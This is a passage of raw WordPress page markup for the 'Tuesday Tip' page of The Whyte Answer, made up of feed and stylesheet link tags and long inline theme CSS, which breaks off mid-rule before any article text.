<link rel="alternate" type="application/rss+xml" title="The Whyte Answer &raquo; Feed" href="https://thewhyteanswer.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="The Whyte Answer &raquo; Comments Feed" href="https://thewhyteanswer.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="The Whyte Answer &raquo; Tuesday Tip Comments Feed" href="https://thewhyteanswer.com/tuesday-tip/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://thewhyteanswer.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthewhyteanswer.com%2Ftuesday-tip%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://thewhyteanswer.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthewhyteanswer.com%2Ftuesday-tip%2F&#038;format=xml" />
		<script type="text/javascript">
			var ajaxurl = 'https://thewhyteanswer.com/wp-admin/admin-ajax.php';
		</script>
		<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
</style>
<style id="classic-theme-styles-inline-css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>

<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--vlog-acc: #365899;--wp--preset--color--vlog-meta: #999999;--wp--preset--color--vlog-txt: #111111;--wp--preset--color--vlog-bg: #ffffff;--wp--preset--color--vlog-highlight-txt: #ffffff;--wp--preset--color--vlog-highlight-bg: #34495e;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 12.8px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 22.4px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--normal: 16px;--wp--preset--font-size--huge: 28.8px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-vlog-acc-color{color: var(--wp--preset--color--vlog-acc) !important;}.has-vlog-meta-color{color: var(--wp--preset--color--vlog-meta) !important;}.has-vlog-txt-color{color: var(--wp--preset--color--vlog-txt) !important;}.has-vlog-bg-color{color: var(--wp--preset--color--vlog-bg) !important;}.has-vlog-highlight-txt-color{color: var(--wp--preset--color--vlog-highlight-txt) !important;}.has-vlog-highlight-bg-color{color: var(--wp--preset--color--vlog-highlight-bg) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-vlog-acc-background-color{background-color: var(--wp--preset--color--vlog-acc) !important;}.has-vlog-meta-background-color{background-color: var(--wp--preset--color--vlog-meta) !important;}.has-vlog-txt-background-color{background-color: var(--wp--preset--color--vlog-txt) !important;}.has-vlog-bg-background-color{background-color: var(--wp--preset--color--vlog-bg) !important;}.has-vlog-highlight-txt-background-color{background-color: var(--wp--preset--color--vlog-highlight-txt) !important;}.has-vlog-highlight-bg-background-color{background-color: var(--wp--preset--color--vlog-highlight-bg) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vlog-acc-border-color{border-color: var(--wp--preset--color--vlog-acc) !important;}.has-vlog-meta-border-color{border-color: var(--wp--preset--color--vlog-meta) !important;}.has-vlog-txt-border-color{border-color: var(--wp--preset--color--vlog-txt) !important;}.has-vlog-bg-border-color{border-color: var(--wp--preset--color--vlog-bg) !important;}.has-vlog-highlight-txt-border-color{border-color: var(--wp--preset--color--vlog-highlight-txt) !important;}.has-vlog-highlight-bg-border-color{border-color: var(--wp--preset--color--vlog-highlight-bg) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-normal-font-size{font-size: var(--wp--preset--font-size--normal) !important;}.has-huge-font-size{font-size: var(--wp--preset--font-size--huge) !important;}
/*# sourceURL=global-styles-inline-css */
</style>

<link rel='stylesheet' id='wp-blog-designer-fontawesome-stylesheets-css' href='https://thewhyteanswer.com/wp-content/plugins/blog-designer//admin/css/fontawesome-all.min.css?ver=1.0' media='all' />
<link rel='stylesheet' id='wp-blog-designer-css-stylesheets-css' href='https://thewhyteanswer.com/wp-content/plugins/blog-designer/public/css/designer_css.css?ver=1.0' media='all' />
<link rel='stylesheet' id='contact-form-7-css' href='https://thewhyteanswer.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.7' media='all' />
<link rel='stylesheet' id='image-hover-effects-css-css' href='https://thewhyteanswer.com/wp-content/plugins/mega-addons-for-visual-composer/css/ihover.css?ver=7.1.1' media='all' />
<link rel='stylesheet' id='style-css-css' href='https://thewhyteanswer.com/wp-content/plugins/mega-addons-for-visual-composer/css/style.css?ver=7.1.1' media='all' />
<link rel='stylesheet' id='font-awesome-latest-css' href='https://thewhyteanswer.com/wp-content/plugins/mega-addons-for-visual-composer/css/font-awesome/css/all.css?ver=7.1.1' media='all' />
<link rel='stylesheet' id='mks_shortcodes_simple_line_icons-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-flexible-shortcodes/css/simple-line/simple-line-icons.css?ver=1.3.8' media='screen' />
<link rel='stylesheet' id='mks_shortcodes_css-css' href='https://thewhyteanswer.com/wp-content/plugins/meks-flexible-shortcodes/css/style.css?ver=1.3.8' media='screen' />
<link rel='stylesheet' id='vlog-fonts-css' href='https://fonts.googleapis.com/css?family=Lato%3A400%7CMontserrat%3A400%2C700&#038;subset=latin%2Clatin-ext&#038;ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-font-awesome-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/font-awesome.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-vlog-font-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/vlog-font.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-bootstrap-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/bootstrap.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-magnific-popup-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/magnific-popup.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-animate-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/animate.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-owl-carousel-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/owl-carousel.css?ver=2.5.2' media='all' />
<link rel='stylesheet' id='vlog-main-css' href='https://thewhyteanswer.com/wp-content/themes/vlog/assets/css/main.css?ver=2.5.2' media='all' />
<style id="vlog-main-inline-css">
body,#cancel-comment-reply-link,.vlog-wl-action .vlog-button,.vlog-actions-menu .vlog-action-login a {color: #111111;font-family: 'Lato';font-weight: 400;}.vlog-body-box{background-color:#ffffff;}h1, h2, h3, h4, h5, h6,.h1, .h2, .h3, .h4, .h5, .h6,blockquote,.vlog-comments .url,.comment-author b,.vlog-site-header .site-title a,.entry-content thead td,#bbpress-forums .bbp-forum-title, #bbpress-forums .bbp-topic-permalink,.wp-block-cover .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text, .wp-block-cover h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover-image .wp-block-cover-text, .wp-block-cover-image h2 {font-family: 'Montserrat';font-weight: 700;}.vlog-site-header a,.dl-menuwrapper li a{font-family: 'Montserrat';font-weight: 400;}body{font-size: 1.6rem;}.entry-headline.h4{font-size: 1.8rem;}.vlog-site-header .vlog-main-nav li a{font-size: 1.3rem;}.vlog-sidebar, .vlog-site-footer p, .vlog-lay-b .entry-content p, .vlog-lay-c .entry-content p, .vlog-lay-d .entry-content p, .vlog-lay-e .entry-content p{font-size: 1.4rem;}.widget .widget-title{font-size: 1.6rem;}.vlog-mod-head .vlog-mod-title h4{font-size: 1.8rem;}h1, .h1 {font-size: 2.8rem;}h2, .h2 {font-size: 2.4rem;}h3, .h3 {font-size: 2.0rem;}h4, .h4, .vlog-no-sid .vlog-lay-d .h5, .vlog-no-sid .vlog-lay-e .h5, .vlog-no-sid .vlog-lay-f .h5 {font-size: 1.8rem;}h5, .h5, .vlog-no-sid .vlog-lay-g .h6 {font-size: 1.6rem;}h6, .h6 {font-size: 1.4rem;}.h7{font-size: 1.3rem;}.entry-headline h4{font-size: 1.8rem;}.meta-item{font-size: 1.2rem;}.vlog-top-bar,.vlog-top-bar .sub-menu{background-color: #34495e;}.vlog-top-bar ul li a,.vlog-site-date{color: #8b97a3;}.vlog-top-bar ul li:hover > a{color: #ffffff;}.vlog-header-middle{height: 80px;}.vlog-header-middle .site-title img{max-height: 80px;}.vlog-site-header,.vlog-header-shadow .vlog-header-wrapper,.vlog-site-header .vlog-main-nav .sub-menu,.vlog-actions-button .sub-menu,.vlog-site-header .vlog-main-nav > li:hover > a,.vlog-actions-button:hover > span,.vlog-action-search.active.vlog-actions-button > span,.vlog-actions-search input[type=text]:focus,.vlog-responsive-header,.dl-menuwrapper .dl-menu{background-color: #ffffff;}.vlog-site-header,.vlog-site-header .entry-title a,.vlog-site-header a,.vlog-custom-cart,.dl-menuwrapper li a,.vlog-site-header .vlog-search-form input[type=text],.vlog-responsive-header,.vlog-responsive-header a.vlog-responsive-header .entry-title a,.dl-menuwrapper button,.vlog-remove-wl, .vlog-remove-ll {color: #111111;}.vlog-main-nav .sub-menu li:hover > a,.vlog-main-nav > .current_page_item > a,.vlog-main-nav .current-menu-item > a,.vlog-main-nav li:not(.menu-item-has-children):hover > a,.vlog-actions-button.vlog-action-search:hover span,.vlog-actions-button.vlog-cart-icon:hover a,.dl-menuwrapper li a:focus,.dl-menuwrapper li a:hover,.dl-menuwrapper button:hover,.vlog-main-nav .vlog-mega-menu .entry-title a:hover,.vlog-menu-posts .entry-title a:hover,.vlog-menu-posts .vlog-remove-wl:hover{color: #365899;}.vlog-site-header .vlog-search-form input[type=text]::-webkit-input-placeholder { color: #111111;}.vlog-site-header .vlog-search-form input[type=text]::-moz-placeholder {color: #111111;}.vlog-site-header .vlog-search-form input[type=text]:-ms-input-placeholder {color: #111111;}.vlog-watch-later-count{background-color: #365899;}.pulse{-webkit-box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(54,88,153,0.7);box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(54,88,153,0.7);}.vlog-header-bottom{background: #f6f6f6;}.vlog-header-bottom,.vlog-header-bottom .entry-title a,.vlog-header-bottom a,.vlog-header-bottom .vlog-search-form input[type=text]{color: #111111;}.vlog-header-bottom .vlog-main-nav .sub-menu li:hover > a, .vlog-header-bottom .vlog-main-nav > .current_page_item > a, .vlog-header-bottom .vlog-main-nav .current-menu-item > a, .vlog-header-bottom .vlog-main-nav li:not(.menu-item-has-children):hover > a, .vlog-header-bottom .vlog-actions-button.vlog-action-search:hover span,.vlog-header-bottom .entry-title a:hover,.vlog-header-bottom .vlog-remove-wl:hover,.vlog-header-bottom .vlog-mega-menu .entry-title a:hover{color: #9b59b6;}.vlog-header-bottom li:hover a,.vlog-header-bottom li:hover > span{color: #111111;}.vlog-header-bottom .vlog-search-form input[type=text]::-webkit-input-placeholder { color: #111111;}.vlog-header-bottom .vlog-search-form input[type=text]::-moz-placeholder {color: #111111;}.vlog-header-bottom .vlog-search-form input[type=text]:-ms-input-placeholder {color: #111111;}.vlog-header-bottom .vlog-watch-later-count{background-color: #9b59b6;}.vlog-header-bottom .pulse{-webkit-box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(155,89,182,0.7);box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(155,89,182,0.7);}.vlog-sticky-header.vlog-site-header,.vlog-sticky-header.vlog-site-header .vlog-main-nav .sub-menu,.vlog-sticky-header .vlog-actions-button .sub-menu,.vlog-sticky-header.vlog-site-header .vlog-main-nav > li:hover > a,.vlog-sticky-header .vlog-actions-button:hover > span,.vlog-sticky-header .vlog-action-search.active.vlog-actions-button > span,.vlog-sticky-header .vlog-actions-search input[type=text]:focus{background-color: #ffffff;}.vlog-sticky-header,.vlog-sticky-header .entry-title a,.vlog-sticky-header a,.vlog-sticky-header .vlog-search-form input[type=text],.vlog-sticky-header.vlog-site-header a{color: #111111;}.vlog-sticky-header .vlog-main-nav .sub-menu li:hover > a,.vlog-sticky-header .vlog-main-nav > .current_page_item > a,.vlog-sticky-header .vlog-main-nav li:not(.menu-item-has-children):hover > a,.vlog-sticky-header .vlog-actions-button.vlog-action-search:hover span,.vlog-sticky-header.vlog-header-bottom .vlog-main-nav .current-menu-item > a,.vlog-sticky-header.vlog-header-bottom .entry-title a:hover,.vlog-sticky-header.vlog-header-bottom.vlog-remove-wl:hover,.vlog-sticky-header .vlog-main-nav .vlog-mega-menu .entry-title a:hover,.vlog-sticky-header .vlog-menu-posts .entry-title a:hover,.vlog-sticky-header .vlog-menu-posts .vlog-remove-wl:hover {color: #365899;}.vlog-header-bottom .vlog-search-form input[type=text]::-webkit-input-placeholder { color: #111111;}.vlog-header-bottom .vlog-search-form input[type=text]::-moz-placeholder {color: #111111;}.vlog-header-bottom .vlog-search-form input[type=text]:-ms-input-placeholder {color: #111111;}.vlog-sticky-header .vlog-watch-later-count{background-color: #365899;}.vlog-sticky-header .pulse{-webkit-box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(54,88,153,0.7);box-shadow: 0 0 0 0 #f0f0f0, 0 0 0 0 rgba(54,88,153,0.7);}a{color: #365899; }.meta-item,.meta-icon,.meta-comments a,.vlog-prev-next-nav .vlog-pn-ico,.comment-metadata a,.widget_calendar table caption,.widget_archive li,.widget_recent_comments li,.rss-date,.widget_rss cite,.widget_tag_cloud a:after,.widget_recent_entries li .post-date,.meta-tags a:after,.bbp-forums .bbp-forum-freshness a,#vlog-video-sticky-close{color: #999999; }.vlog-pagination .dots:hover, .vlog-pagination a, .vlog-post .entry-category a:hover,a.meta-icon:hover,.meta-comments:hover,.meta-comments:hover a,.vlog-prev-next-nav a,.widget_tag_cloud a,.widget_calendar table tfoot tr td a,.vlog-button-search,.meta-tags a,.vlog-all-link:hover,.vlog-sl-item:hover,.entry-content-single .meta-tags a:hover,#bbpress-forums .bbp-forum-title, #bbpress-forums .bbp-topic-permalink{color: #111111; }.vlog-count,.vlog-button,.vlog-pagination .vlog-button,.vlog-pagination .vlog-button:hover,.vlog-listen-later-count,.vlog-cart-icon a .vlog-cart-count,a.page-numbers:hover,.widget_calendar table tbody td a,.vlog-load-more a,.vlog-next a,.vlog-prev a,.vlog-pagination .next,.vlog-pagination .prev,.mks_author_link,.mks_read_more a,.vlog-wl-action .vlog-button,body .mejs-controls .mejs-time-rail .mejs-time-current,.vlog-link-pages a,body a.llms-button-action {background-color: #365899;}body a.llms-button-action:hover {background-color: #365899;color: #fff;}.vlog-pagination .uil-ripple-css div:nth-of-type(1),.vlog-pagination .uil-ripple-css div:nth-of-type(2),blockquote{border-color: #365899;}.entry-content-single a,#bbpress-forums .bbp-forum-title:hover, #bbpress-forums .bbp-topic-permalink:hover{color: #365899;}.entry-content-single a:not(.wp-block-button__link):hover,.textwidget a:hover{color: #111111;}.vlog-site-content,.vlog-content .entry-content-single a.vlog-popup-img,.vlog-format-content.vlog-sticky-video{ background: #ffffff;}.vlog-content .entry-content-single a.vlog-popup-img{color: #ffffff;}h1,h2,h3,h4,h5,h6,.h1, .h2, .h3, .h4, .h5, .h6,.entry-title a,.vlog-comments .url,.rsswidget:hover,.vlog-format-inplay .entry-category a:hover,.vlog-format-inplay .meta-comments a:hover,.vlog-format-inplay .action-item,.vlog-format-inplay .entry-title a,.vlog-format-inplay .entry-title a:hover { color: #111111;}.widget ul li a{color: #111111;}.widget ul li a:hover,.entry-title a:hover,.widget .vlog-search-form .vlog-button-search:hover,.bypostauthor .comment-body .fn:before,.vlog-comments .url:hover,#cancel-comment-reply-link,.widget_tag_cloud a:hover,.meta-tags a:hover,.vlog-remove-wl:hover{color: #365899;}.entry-content p{color: #111111;}.widget_calendar #today:after{background: rgba(17,17,17,0.1)}.vlog-button,.vlog-button a,.vlog-pagination .vlog-button,.vlog-pagination .next,.vlog-pagination .prev,a.page-numbers:hover,.widget_calendar table tbody td a,.vlog-featured-info-2 .entry-title a,.vlog-load-more a,.vlog-next a,.vlog-prev a,.mks_author_link,.mks_read_more a,.vlog-wl-action .vlog-button,.vlog-link-pages a,.vlog-link-pages a:hover{color: #FFF;}#cancel-comment-reply-link, .comment-reply-link, .vlog-rm,.vlog-mod-actions .vlog-all-link,.vlog-slider-controls .owl-next, .vlog-slider-controls .owl-prev {color: #365899; border-color: rgba(54,88,153,0.7)}.vlog-mod-actions .vlog-all-link:hover,.vlog-slider-controls .owl-next:hover, .vlog-slider-controls .owl-prev:hover {color: #111111; border-color: rgba(17,17,17,0.7)}.comment-reply-link:hover,.vlog-rm:hover,a.button.product_type_simple.add_to_cart_button:hover,a.added_to_cart:hover,#cancel-comment-reply-link:hover{color: #111111;border-color: #111111;}.entry-content .wp-block-button__link,.wp-block-search__button{background: #365899; color: #ffffff;}.wp-block-button__link:hover,.wp-block-search__button:hover{color: #ffffff;}.wp-block-separator{border-color: rgba(17,17,17,0.2);border-bottom-width: 1px;}.wp-block-calendar tfoot a{color: #365899; 